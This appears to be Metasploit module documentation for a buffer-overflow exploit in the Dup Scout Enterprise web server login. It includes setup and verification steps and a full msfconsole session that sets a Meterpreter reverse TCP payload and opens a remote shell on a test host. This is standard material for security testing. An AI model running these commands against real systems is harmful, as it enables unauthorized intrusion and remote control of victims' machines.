## Vulnerable Application

  Tested on Windows 10 x64

  Install the application from the link below and enable the web server by going to Tools -> Advanced Options -> Server -> Enable Web Server on Port.

  [Dup Scout Enterprise v 10.0.18](https://www.exploit-db.com/apps/84dcc5fe242ca235b67ad22215fce6a8-dupscoutent_setup_v10.0.18.exe)

## Verification Steps

  1. Install the application and set the option above to enable the web server
  2. Start msfconsole
  3. Do: ```use exploit/windows/http/dup_scout_enterprise_login_bof```
  5. Set options and payload
  6. Do: ```run```
  7. You should get a shell.

## Options

  **RHOST**

  IP address of the remote host running the server.

  **RPORT**

  Port that the web server is running on.  Default is 80 but it can be changed when setting up the program or in the options.

## Scenarios

  To obtain a shell:

  ```
msf > use exploit/windows/http/dup_scout_enterprise_login_bof
msf exploit(windows/http/dup_scout_enterprise_login_bof) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/http/dup_scout_enterprise_login_bof) > set rhost 192.168.1.171
rhost => 192.168.1.171
msf exploit(windows/http/dup_scout_enterprise_login_bof) > set lhost 192.168.1.252
lhost => 192.168.1.252
msf exploit(windows/http/dup_scout_enterprise_login_bof) > run

[*] Started reverse TCP handler on 192.168.1.252:4444
[*] Generating exploit...
[*] Triggering the exploit now...
[*] Sending stage (179779 bytes) to 192.168.1.171
[*] Meterpreter session 1 opened (192.168.1.252:4444 -> 192.168.1.171:58969) at 2017-12-09 02:01:41 -0600
  ```
